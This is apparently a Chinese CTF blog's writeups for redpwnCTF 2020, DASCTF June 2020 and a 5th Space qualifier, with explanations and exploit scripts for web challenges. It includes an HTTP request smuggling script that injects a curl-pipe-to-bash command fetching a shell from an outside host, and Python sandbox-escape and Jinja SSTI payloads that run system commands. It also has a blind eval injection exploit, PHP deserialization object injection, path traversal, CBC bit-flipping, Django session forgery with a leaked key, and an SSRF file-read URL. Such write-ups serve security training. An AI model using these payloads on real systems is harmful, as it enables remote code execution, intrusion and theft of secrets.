from api import server as api_server
from web import server as web_server

import threading, random

if __name__ == '__main__':
    backend_port = random.randint(50000, 51000)

    at = threading.Thread(target = api_server.start, args = (backend_port,))
    wt = threading.Thread(target = web_server.start, args = (backend_port,))

    at.daemon = True
    wt.daemon = True

    at.start()
    wt.start()

    at.join()
    exit() # something is wrong
    wt.join()
    exit() # something is wrong

可以看到api的端口是50000-51000这1000个端口中的一个,首先就需要想个办法找到这个端口号。

webserver的check_link如果200会返回True,并且响应时间也有变化,所以可以利用这个特性来爆破端口:

import time as angstromCTF
angstromCTF.kevin_higgs=angstromCTF.sleep
angstromCTF.kevin_higgs(1337/300/4)
# XXX: i read in *CODE COMPLETE* that magic numbers are bad TODO explain what this means?
try:
    # XXX: idk how sockets work...
    s.settimeout(4)
except:
    pass
rEspONSe = s.recv(4096)
if b'200 OK' in rEspONSe:
    s.close()
    return True
s.close()
return False

写个小requests脚本,跑出50596端口

import requests as req
url = "http://2020.redpwnc.tf:31957/check-links"
data = {"links":""}
for i in range(50000,51000):
	api = "http://localhost:{}".format(i)
	data["link"] = api
	r = req.post(url, data=data)
	if r"true" in r.text:
		print("success:"+str(i))
		break

之后就是走私了

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req
from urllib.parse import quote as urlen

url = "http://2020.redpwnc.tf:31957/check-links"
#bash中用#把后面的命令过滤掉
smuggling = "http://127.0.0.1\r\n\r\nGET /api/v1/notes/?title=" + urlen("';curl http://gem-love.com/shell.txt|bash #") + " HTTP/1.1\r\n\r\n:50596"

data = {"links":smuggling}
req.post(url, data=data)

走私成功,造成命令注入,反弹shell


web/cookie-recipes-v2

I want to buy some of these recipes, but they are awfully expensive. Can you take a look?

Site: cookie-recipes-v2.2020.redpwnc.tf

非预期了

关键代码:

require('dotenv').config();

const routes = {
    staticFiles: async (req, res) => {
        // get file path
        let filePath = path.join('public', url.parse(req.url).pathname);
        if (filePath.endsWith('/')) {
            filePath = path.join(filePath, 'index.html');
        } const type = mime.getType(path.extname(filePath));

        // read file and stuff
        try {
            const content = await fs.promises.readFile(filePath);
            res.writeHead(200, { 'Content-Type': type });
            res.end(content, 'utf-8');
        } catch (error) {
            res.writeHead(['ENOENT', 'EISDIR'].includes(error.code) ? 404 : 500);
            res.end();
        }
    },

    api: async (req, res) => {
        const route = url.parse(req.url).pathname.substr(5);
        if (!api.has(route)) {
            res.writeHead(404);
            res.end();
            return;
        }
        api.get(route)(req, res);
    }
};

首先,使用了dotenv,前两天用docker构建nodejs还使用了dotenv,参考文章:

https://www.cnblogs.com/rongfengliang/p/10783341.html

所以环境变量是存在/app/.env里的,然后题目process.env.FLAG

之后就是这个路由,很明显可以目录穿越然后readfile(),所以只要目录穿越去读/app/.env就好了,问题在于,直接访问/../../../../../app/.env会被浏览器自动解析成/app/.env,没办法目录穿越

然后去Google查了一下怎么不自动把../给处理掉,查到了:

https://github.com/curl/curl/blob/master/docs/cmdline-opts/path-as-is.d

Long: path-as-is
Help: Do not squash .. sequences in URL path
Added: 7.42.0
---
Tell curl to not handle sequences of /../ or /./ in the given URL
path. Normally curl will squash or merge them according to standards but with
this option set you tell it not to do that.

所以只要带上–path-as-is参数来curl一下就行了

curl --path-as-is https://cookie-recipes-v2.2020.redpwnc.tf/../../../../app/.env

赛后去看了下别人的wp,是一个XSS+SSRF,利用XMLHTTPRequest去实现SSRF,思路基本跟DASCTF May x BJDCTF 3rd我出的那个notes题一样,而且这题没啥过滤,直接用就行。


web/panda-fact-v2

Uh oh; it looks like they already migrated to a more secure platform. Can you do your thing again? These horrible people must be stopped!

Site: panda-facts-v2.2020.redpwnc.tf

没做出来,赛后复现的

https://isopach.dev/Redpwn-CTF-2020/#panda-facts-v2

#!/usr/bin/env python

import requests
import json
from pwn import *

def blockify(a):
    return [a[i:i+16] for i in range(0, len(a), 16)]

def validate_req(payload):
    cookie = {'token' : payload}
    r = requests.get('https://panda-facts-v2.2020.redpwnc.tf/api/validate',cookies=cookie)
    return r.text

def blocks_to_payload(blks):
    import base64
    return base64.b64encode("".join(blks))

def send_blks(blks):
    encoded_payload = blocks_to_payload(blks)
    return validate_req(encoded_payload)

def get_cookie(payload):
    r = requests.post('https://panda-facts-v2.2020.redpwnc.tf/api/login', json = {'username' : payload})
    return json.loads(r.text)['token'].decode('base64')

def get_flag(blks):
    encoded_payload = blocks_to_payload(blks)
    cookie = {'token': encoded_payload}
    r = requests.get('https://panda-facts-v2.2020.redpwnc.tf/api/flag',cookies=cookie)
    return json.loads(r.text)['flag']


def bind_payload(payload, i):
    return payload % ("%25d" % i)


def xor_payload(block):
    # our current \",\"member_: "}
    # our target  _",_"member": n}
    new_payload = ""
    new_payload += chr(ord(block[0]) ^ ord("\\") ^ ord(" "))
    new_payload += block[1:3]
    new_payload += chr(ord(block[3]) ^ ord("\\") ^ ord(" "))
    new_payload += block[4:11]
    new_payload += chr(ord(block[11]) ^ ord("_") ^ ord('"'))
    new_payload += block[12:14]
    new_payload += chr(ord(block[14]) ^ ord('"') ^ ord('1'))
    new_payload += block[15:]
    return new_payload

payload_len = 25
payload = '%s","member_: '

for i in range(1000):
    c_payload = bind_payload(payload, i)
    cookie = get_cookie(c_payload)
    payload_blocks = blockify(cookie)
    payload_blocks[-3] = xor_payload(payload_blocks[-3])

    data = send_blks(payload_blocks)
    if 'true' in data:
        flag = get_flag(payload_blocks)
        log.success(flag)
        break

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2391.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2391.html/feed 0
安恒六月赛DASCTF June Writeup https://www.gem-love.com/ctf/2401.html https://www.gem-love.com/ctf/2401.html#comments Fri, 26 Jun 2020 13:45:31 +0000 https://www.gem-love.com/?p=2401 Author:颖奇L’Amore

Blog:www.gem-love.com

本次比赛因为参与出题了(web/checkin web/Subscribe misc/PhysicalHacker),就开了个小号主要是做做其他师傅的题,对分数排名也没啥追求,好多题做了也没交flag。然后因为安恒有规定,自己出的题就不写wp了,其他师傅的题也都很有意思,挑几个题写写wp


简单的计算题-1

考点:python布尔盲注

难度:简单


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, render_template, request,session
from config import black_list,create
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)

## flag is in /flag try to get it

@app.route('/', methods=['GET', 'POST'])
def index():

    def filter(string):
        for black_word in black_list:
            if black_word in string:
                return "hack"
        return string

    if request.method == 'POST':
        input = request.form['input']
        create_question = create()
        input_question = session.get('question')
        session['question'] = create_question
        if input_question==None:
            return render_template('index.html', answer="Invalid session please try again!", question=create_question)
        if filter(input)=="hack":
            return render_template('index.html', answer="hack", question=create_question)
        try:
            calc_result = str((eval(input_question + "=" + str(input))))
            if calc_result == 'True':
                result = "Congratulations"
            elif calc_result == 'False':
                result = "Error"
            else:
                result = "Invalid"
        except:
            result = "Invalid"
        return render_template('index.html', answer=result,question=create_question)

    if request.method == 'GET':
        create_question = create()
        session['question'] = create_question
        return render_template('index.html',question=create_question)

@app.route('/source')
def source():
        return open("app.py", "r").read()

if __name__ == '__main__':
    app.run(host="0.0.0.0", debug=False)

两个计算器题目差不多,都是一个计算器

分析代码可知,他是有一个黑名单waf但是我们不知道是什么,然后就是eval(算式==input),并且有三种不同回显,很明显是要我们利用这个eval()来读flag

最开始因为过滤不全可以直接用os.system()一键打穿,后来修复了。那也很简单,就盲注一下就可以了,exp:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests
import re
from urllib.parse import quote as urlencode

def main():
	alphabet = ['{','}', '@', '_',',','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
	proxies={'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'}  
	data={"input":""}
	s = requests.Session()

	flag = ''
	for i in range(0,100):
		for char in alphabet:
			try:
				r = s.post("http://183.129.189.60:10026/", data={"input":""})
				question = re.search(r"<h4>(.*)</h4>", r.content.decode(), re.M|re.I).group().replace("<h4>", "").replace("</h4>","")[:-1]
				# print(question)
				data["input"] = "{0} and '{2}'==(open('/flag','r').read()[{1}])".format(question, i, char)
				r = s.post("http://183.129.189.60:10026/", data=data, proxies=proxies)
				result = r.content.decode()
				# print(char, end=' ')
				# print(re.search(r"<h3>(.*)</h3>", result, re.M|re.I).group())
				# print(data)
				if r"Congratulations" in result:
					flag += char
					print(flag)
					break
			except Exception as e:
				print("Exception: ", end='')
				print(e)

if __name__ == '__main__':
	main()


简单的计算题-2

考点:沙箱逃逸

难度:简单

这题我是非预期了,直接逃逸掉了题目所有过滤,虽然俩题的过滤不一样,但是我的payload对这俩题都通杀

其他地方代码都一样,主要是这里:

if request.method == 'POST':
        input = request.form['input']
        create_question = create()
        input_question = session.get('question')
        session['question'] = create_question
        if input_question == None:
            return render_template('index.html', answer="Invalid session please try again!", question=create_question)
        if filter(input)=="hack":
            return render_template('index.html', answer="hack", question=create_question)
        calc_str = input_question + "=" + str(input)
        try:
            calc_result = str((eval(calc_str)))
        except Exception as ex:
            calc_result = "Invalid"
        return render_template('index.html', answer=calc_result,question=create_question)

这里这个回显更直接,不过我觉得出题人这里不应该给回显,不然这俩题的难度区分实在是有点小。所以我想的是假装它没有任何回显,然后构造payload把题目打穿。很容易就要想到去bypass过滤然后执行系统命令,那么如何bypass?当然是sandbox escape

因为简单fuzz发现这俩题的blacklist还不一样,懒得fuzz这题了,直接准备一个万能payload绕过所有过滤就可以了。那么如何绕?只要实现关键字为字符串拼接不就行了,比如system被过滤,但是总不能把's'+'y'+'s'+'t'+'e'+'m'这样的给过滤吧。

沙箱逃逸老生常谈的话题,我也不想多介绍了,直接用getattr()就行了,虽然getattr()通常被用来bypass.而本题.并没有被过滤。

原型payload:

''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")

bypass waf变种payload:

getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__cla'+'ss__'),'__mr'+'o__')[1],'__subclas'+'ses__')()[104],'__init__'),'__glob'+'al'+'s__')['sy'+'s'],'mod'+'ules')['o'+'s'],'sy'+'ste'+'m')('l'+'s')

这俩计算器题通杀,都能直接反弹shell:

当然,还有更简单的。。。

eval("o"+"s.s"+"y"+"s"+"t"+"e"+"m('wh"+"oa"+"m"+"i')")
exec("o"+"s.s"+"y"+"s"+"t"+"e"+"m('wh"+"oa"+"m"+"i')")

把whoami改成反弹shell的就行了(不过只有第一天晚上可以用,后来就被修复了)。


easyflask

考点:RSA、Flask SSTI、Flask Session伪造(非预期可跳过这一步)

难度:困难

第一步是个baby rsa,输入N和e题目给返回c

然后求明文就好了,求出来的就是身份认证需要的token

之后用这个token身份认证,即可来到一个登录页面

输入{{7*7}},可以发现存在模板注入

可以看到下面这一句说我们不是admin,登录上是有session的,用flask session decoder解一下:

所以这题的大致意思应该是ssti读文件得到secret_key然后伪造session。

但是这个题过滤的实在是太多了,引号、中括号、()||join等等,过滤还得自己fuzz,我fuzz出来多少个过滤自己都数不过来。而且不仅用户名有过滤,url里也不能出现相关的黑名单关键字。

本题目没ban掉request,所以基本上就是用request.args.param来绕过,我相信出题人也是这个意思,所以才对url也进行了过滤来保证最后SSTI只能用来文件读取并不能用来RCE。

但作为本次比赛承办方成员之一,本着测题的原则,还是决定一定要RCE,本地写了个flask结果还和题目环境不太一样,导致我好几个payload都本题打得通然后远程打不通。第一天比赛暂停后的1h(0:00)我偷偷开了这题的环境开始RCE,一直到4:30经过四个半小时努力,终于成功打穿。

本题目最大的坑在于:class会反复横跳 比如:

{{({}|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)())}}

现在构造的是list的子类所以变化不是很大,我最开始构造的payload,发了1000个包居然一个都没碰撞成功:

后来测试发现在list类下找东西好一些,因为刷新几下就又能得到相同的类了,不会像最初payload刷新1000遍都成功不了。

但是本题目最大的问题是在于如何绕过黑名单,在url上bypass基本上不可能了,因为字符串什么的都是被ban掉的。后来突然想到可以用header,request.headers的类型为<class 'werkzeug.datastructures.EnvironHeaders'>,一般是request.headers["User-Agent"]这样来获取一个http头字段的值的,然而我们并不能用大括号和引号,看了他的属性也没找到合适的能获取某个字段值的方法

我尝试用元组转列表然后repr()转字符串,然后再切片,经过一通操作,确实成功了,但是丢给flask直接出错,本地调试看到报错才突然想起来,repr()这种函数在模板里都是Undiefined的!

但是后来测试发现,在Jinja2渲染时可以直接request.headers.User-Agent这样获取一个header,那所有问题就直接迎刃而解了!能够获取到header意味着bypass了所有黑名单过滤,之后就是想办法把system()给构造出来了。

构造时候也有几个坑:

  • ()|不能用,调用完函数再接上|attr()时候可以把前面的括号多套一层括号来绕过
  • 找类的链子很重要,因为题目的class不是固定的
  • listdict__getitem__用法不一样,前者直接index而后者需要键名(字符串)
  • 一步一步来,用__subclasses__()把所有子类打出来然后找合适的
  • 无法反弹shell,os.system()无回显

其他就不多bb了,自己上手操作一下就感受到了,最终payload为:

{{(((({}|attr(request.headers.y1ng1)|attr(request.headers.y1ng2)))|attr(request.headers.y1ng4)(1)|attr(request.headers.y1ng3)())|attr(request.headers.y1ng4)(398)|attr(request.headers.y1ng5)|attr(request.headers.y1ng6)|attr(request.headers.y1ng4)(request.headers.y1ng7)(request.headers.y1ng8)).read()}}

其中y1ng8是要执行的命令,先把app.py的源码cat出来:

from flask import Flask,render_template,request,session,url_for,redirect,render_template_string
import os
import hashlib

app = Flask(__name__)
# fake
app.config['SECRET_KEY'] = "flag{265eac50c18fa6f255a1fc253dc7ff7b}"
flag = b'flag{265eac50c18fa6f255a1fc253dc7ff7b}'
token = hashlib.md5(flag).hexdigest()
@app.route('/',methods=['GET','POST'])
def index():
    global token
    message = {"info":"Give me your public key and I will give you token", "token":"null"}
    if request.method == 'POST':
        N = request.form.get('N') or None
        e = request.form.get('e') or None
        try:
            if N is not None and e is not None:
                message["info"] = pow(int.from_bytes(token.encode(), 'big'), int(e), int(N))
        except:
            message["info"] = "N or e wrong"

        user_token = request.form.get('token') or None
        if user_token == token :
            session['token'] = token
            
            return redirect(url_for('login'))
        else:
            message["token"] = "wrong"
    return render_template('index.html', message = message)

@app.route('/login/',methods=['GET','POST'])
def login():
    global token
    if session.get('token',None)==token:
        if request.method == 'POST':
            username = request.form.get('username')
            session['username'] = username
            session['admin'] = False
            
            return redirect(url_for('user'))
            
        return render_template('login.html')
        
    return redirect(url_for('index'))

def check(payload, url):
    black_list = ['sys', 'dict', 'self', 'range', '|format', ']', 'namespace', 'popen', '[', 'timeit', 'os', '__class__', "'", 'pty', 'joiner', '"', 'g|', 'subprocess', '|join', 'config', 'commands', 'importlib', 'class', '_', 'url_for', 'system', 'import', 'eval', 'exec', 'lipsum', 'platform', 'request[request.', 'get_flashed_messages', 'cycler', '%2b', 'session', '()|', '+']
    sys_list = ['sys', 'dict', 'self', 'range', '|format', ']', 'namespace', 'popen', '[', 'timeit', 'os', "'", 'pty', 'joiner', '"', 'g|', 'subprocess', '|join', 'config', 'commands', 'importlib', 'url_for', 'system', 'import', 'eval', 'exec', 'lipsum', 'platform', 'request[request.', 'get_flashed_messages', 'cycler', '%2b', 'session', '()|', '+']   
    for i in sys_list:
        if url.find(i) != -1:
            return False
    for i in black_list:
        if payload.find(i) != -1:
            return False
            
    return True

@app.route('/user/',methods=['GET'])
def user():
    try:
        if (session['username'] != "") and (request.method == 'GET') and session.get('token',None):
            name = request.args.get('username') or session.get('username',None)
            
            template = '''
                           <p>The girls in DASCTF are beautiful !</p></br>
                           <p>Congratulations on %s's girlfriend!</p>
                           <p>But admin is {{ session.admin }}!You can't get /flag</p>
                ''' % name

            if name!="" and check(name,request.url):
                return render_template_string(template, name=name)
            else:
                return "check error"
    except:
        template = '<h2>something wrong!</h2>'
        return render_template_string(template)

@app.route('/flag/',methods=['GET'])
def get_flag():
    if session.get('admin',None):
        return os.getenv('FLAG')
    return "No permission for true flag"

@app.errorhandler(404)
def page_not_found(e):
    template = '''
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
    </div>
'''
    return render_template_string(template)

这里面有个flag但是是假flag,那个只是secret_key,代码告知真正的flag在环境变量中,所以执行以下env就行了:

这里我payload用的是os.popen().read()所以是有回显的。

如果是读文件,读完了源码得到了key,只要伪造session就好了:

之后带着session去访问http://xxx/flag即可得到flag


phpuns

考点:PHP反序列化字符逃逸

难度:普通

和四月月赛的反序列化大体一样

安恒月赛2020年DASCTF——四月春季战Writeup

登录就把用户和密码存进session,然后对session反序列化。这过程中会进行字符替换造成字符逃逸:

function add($data)
{
    $data = str_replace(chr(0).'*'.chr(0), '\0*\0', $data);
    return $data;
}

function reduce($data)
{
    $data = str_replace('\0*\0', chr(0).'*'.chr(0), $data);
    return $data;
}
function check($data)
{
    if(stristr($data, 'c2e38')!==False){
        die('exit');
    }
}
//序列化
$user = new User($username, $password);
$_SESSION['info'] = add(serialize($user));
//反序列化
check(reduce($_SESSION['info']));
$tmp = unserialize(reduce($_SESSION['info']));

class.php:

<?php
class User{
    protected $username;
    protected $password;
    protected $admin;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
        $this->admin = 0;
    }

    public function get_admin(){
        return $this->admin;
    }
}


class Hacker_A{
    public $c2e38;

    public function __construct($c2e38){
        $this->c2e38 = $c2e38;
    }
    public function __destruct() {
        if(stristr($this->c2e38, "admin")===False){
            echo("must be admin");
        }else{
            echo("good luck");
        }
    }
}
class Hacker_B{
    public $c2e38;

    public function __construct($c2e38){
        $this->c2e38 = $c2e38;
    }

    public function get_c2e38(){
        return $this->c2e38;
    }

    public function __toString(){
        $tmp = $this->get_c2e38();
        $tmp();
        return 'test';
    }

}

class Hacker_C{
    public $name = 'test';

    public function __invoke(){
        var_dump(system('cat /flag'));
    }
}

pop链很简单:

Hacker_A__destruct()中将$this->c2e38作为字符串比较,触发Hacker_B__toString()

__toString()中通过调用$this->get_c2e38()方法获取了Hacker_B$c2e38属性并作为方法调用$tmp(),进而触发Hacker_C__invoke()方法

__invoke()system('cat /flag'),得到flag

pop链构造好,然后字符逃逸注入对象,之后反序列化最终触发system()即可。字符逃逸原理去看DASCTF四月月赛的Ezunserialize就好了,不再过多介绍了

exp:

输入如下用户名和密码:

username:y1ng\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
password:";S:11:"\00*\00password";O:8:"Hacker_A":1:{S:5:"\63\32\65\33\38";O:8:"Hacker_B":1:{S:5:"\63\32\65\33\38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}};s:1:"a";s:0:"

顺便说下,因为题目把c2e38给ban了,所以用S:5:"\63\32\65\33\38"来绕过,和用S+\00来绕过chr(0)是一样的,因为S大写,后面字符串里就可以解析hex了


filecheck

考点:_io.TextIOWrapper类、Django session伪造

难度:难

显示随便注册登录,然后登录,在readable可以看是否有读取某个文件的权限

根据这个file参数,换成读取别的,被告知必须是xyz结尾的

因为昨天做easyflask时候发现出题人用了uri,然后这题和那个题是同一个人出的,我感觉可能相同办法,于是后面加了个参数果然就OK了

然后如果是不存在的文件,就会爆出file not found的错,说明这个功能可以探测文件是否存在

然而,这也没啥用。过了一会儿,一个偶然的小失误,因为吧readable手打给拼错了,直接爆出了重要信息

_io.TextIOWrapper肯定无人不晓, f=open('/tmp/1,txt','r'),然后f就是<_io.TextIOWrapper name='/tmp/1.txt' mode='r' encoding='UTF-8'>,然后用dir()看下它的属性:

可以发现readable实际上就是它的一个方法,他还有readreadline等可以读文件,所以直接调用read()方法读文件:

比赛结束时有个师傅告诉我,这个任意文件读取可以直接非预期一把梭:

不过我当时没想起来这么用。。一时间卡住了不知道读什么文件好了。之后我就来fuzz,首先得知当前运行的文件肯定是在/xxx/目录内,距离根目录只有一层

然后/app目录也是存在的,所以基本上flask就在/app目录下

可是读app.py没读到源码,之后就根据flask的常见layout开始逐个爆破

最后因为最开始的readable给了challenge文件夹,可能是个project,根据Structure of a Flask Project在里面读到了views.py

views.py里存了一些路由,没什么卵用,只是告诉我们那个sha256的token只是障眼法不需要爆破

def read_file(request):
    if not request.session.get('is_login', None):
        return redirect('/')
    message = "Read"
    # chen
    token = request.GET.get('token') or None
    try:
        if hashlib.sha256(token.encode()).hexdigest()[:20] == '3abd72ec6352d6085d85':
            error = "Not here.Be careful!"
            return render(request, 'index/index.html', locals())
    except Exception as error:
        error = "sha256(GET[token])[:20] must be 3abd72ec6352d6085d85"
        return render(request, 'index/index.html', locals())
    return render(request, 'index/index.html', locals())

之后根据/proc/self/cmdline得到了manage.py,读取一下:

#!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys


def main():
    os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'hainep.settings')
    try:
        from django.core.management import execute_from_command_line
    except ImportError as exc:
        raise ImportError(
            "Couldn't import Django. Are you sure it's installed and "
            "available on your PYTHONPATH environment variable? Did you "
            "forget to activate a virtual environment?"
        ) from exc
    execute_from_command_line(sys.argv)


if __name__ == '__main__':
    main()

从这个姜狗有关的代码中得到了一个关键字:hainep.settings

然后因为他自己也说了用了Django,并且还给了project的名叫hainep:

果然hainep这个文件夹是存在的

参考:

https://docs.djangoproject.com/en/2.2/topics/settings/

然后顺理成章连蒙再猜从hainep/settings.py中读到了django的settings

"""
Django settings for hainep project.

Generated by 'django-admin startproject' using Django 2.2.11.

For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/

For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""

import os

# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))


# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/

# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '&9=p6sj5o_5%)$r*&l)p$#ik$o^$v4hzx=_&pqtag9(@ww#2bn'
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = False

ALLOWED_HOSTS = ['*']


# Application definition

INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'challenge',
]

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.middleware.csrf.CsrfViewMiddleware',
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]

ROOT_URLCONF = 'hainep.urls'

TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [os.path.join(BASE_DIR, 'templates')],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]

WSGI_APPLICATION = 'hainep.wsgi.application'


# Database
# https://docs.djangoproject.com/en/2.2/ref/settings/#databases

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.sqlite3',
        'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
    }
}


# Password validation
# https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators

AUTH_PASSWORD_VALIDATORS = [
    {
        'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
    },
    {
        'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
    },
]


# Internationalization
# https://docs.djangoproject.com/en/2.2/topics/i18n/

LANGUAGE_CODE = 'zh-hans'

TIME_ZONE = 'Asia/Shanghai'

USE_I18N = True

USE_L10N = True

USE_TZ = False



# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.2/howto/static-files/

STATIC_URL = '/static/'
STATIC_ROOT = os.path.join(BASE_DIR, 'static')
STATICFILES_DIRS = (
    os.path.join(BASE_DIR, 'challenge/static/'),
)

得到SECRET_KEY = '&9=p6sj5o_5%)$r*&l)p$#ik$o^$v4hzx=_&pqtag9(@ww#2bn'

然后hint让看cookie,发现是django session,参考:

https://docs.djangoproject.com/en/2.2/topics/signing/

加上题目告诉访问/flag去获取flag,然后我们自己访问还没有权限,于是可以肯定这是个Django session伪造问题。参考:

https://althims.com/2019/10/25/client-session/

 

https://github.com/ustclug/hackergame2019-writeups/tree/master/official/%E8%A2%AB%E6%B3%84%E6%BC%8F%E7%9A%84%E5%A7%9C%E6%88%88

exp:

import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies
from passlib.hash import pbkdf2_sha256
from django.contrib.auth.hashers import make_password, check_password

sess = signing.loads('.eJyrVsosjk9Myc3MU7JKS8wpTtVRKi1OLYrPTFGyMjQ0MtcByefkp4PkS4pKYdJ5ibmpSlZKlYZ56Uq1ACNNFxA:1jokij:bIoWAUDVUDfSbXack05GuSCYKMk',
	key='&9=p6sj5o_5%)$r*&l)p$#ik$o^$v4hzx=_&pqtag9(@ww#2bn',salt='django.contrib.sessions.backends.signed_cookies')
print(sess)
sess[u'is_admin'] = True
print(sess)
s= signing.dumps(sess, key='&9=p6sj5o_5%)$r*&l)p$#ik$o^$v4hzx=_&pqtag9(@ww#2bn',compress=True, salt='django.contrib.sessions.backends.signed_cookies')
print(s)

可以发现成功伪造成为了管理员,并得到了新的session

带着新cookie去访问flag即可得到flag:

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2401.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2401.html/feed 5
2020″第五空间”智能安全大赛线上初赛Writeup https://www.gem-love.com/ctf/2380.html https://www.gem-love.com/ctf/2380.html#respond Thu, 25 Jun 2020 13:30:10 +0000 https://www.gem-love.com/?p=2380 Author:颖奇L’Amore

Blog:www.gem-love.com

在屯了1个flag没交的情况下打进了前40,线下决赛见


do you know

考点:代码审计

难度:baby

上来就是代码

<?php
highlight_file(__FILE__);
#本题无法访问外网
#这题真没有其他文件,请不要再开目录扫描器了,有的文件我都在注释里面告诉你们了
#各位大佬...这题都没有数据库的存在...麻烦不要用工具扫我了好不好
#there is xxe.php
$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
                die("no hacker");
        }
$ids=explode('&',$poc);
$a_key=explode('=',$ids[0])[0];
$b_key=explode('=',$ids[1])[0];
$a_value=explode('=',$ids[0])[1];
$b_value=explode('=',$ids[1])[1];

if(!$a_key||!$b_key||!$a_value||!$b_value)
{
        die('我什么都没有~');
}
if($a_key==$b_key)
{
    die("trick");
}

if($a_value!==$b_value)
{
        if(count($_GET)!=1)
        {
                die('be it so');
        }
}
foreach($_GET as $key=>$value)
{
        $url=$value;
}

$ch = curl_init();
    if ($type != 'file') {
        #add_debug_log($param, 'post_data');
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    } else {
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 180);
    }

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

    // 设置header
    if ($type == 'file') {
        $header[] = "content-type: multipart/form-data; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    } elseif ($type == 'xml') {
        curl_setopt($ch, CURLOPT_HEADER, false);
    } elseif ($has_json) {
        $header[] = "content-type: application/json; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    }

    // curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
    // dump($param);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
    // 要求结果为字符串且输出到屏幕上
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    // 使用证书:cert 与 key 分别属于两个.pem文件


    $res = curl_exec($ch);
    var_dump($res);

还有别的文件,应该是ssrf+xxe,用gopher打,然而出题人出现了致命错误:

$poc=$_SERVER['QUERY_STRING'];

看不出来的建议去温习一下我出的一道题:

2020BJDCTF “EzPHP” +Y1ngCTF “Y1ng’s Baby Code” 官方writeup

因为QUERY_STRING不会urldecode,所以只需要进行url编码绕过就可以了,我出的这个题里就有这个考点。

然后本题只要把字母也urlencode就直接bypass了正则,然后就随便打了,直接curl一下file:///var/www/html/flag.php即可,想读什么文件就读什么文件,一分钟做完,xswl

http://121.36.64.91/?a=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70&b=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70

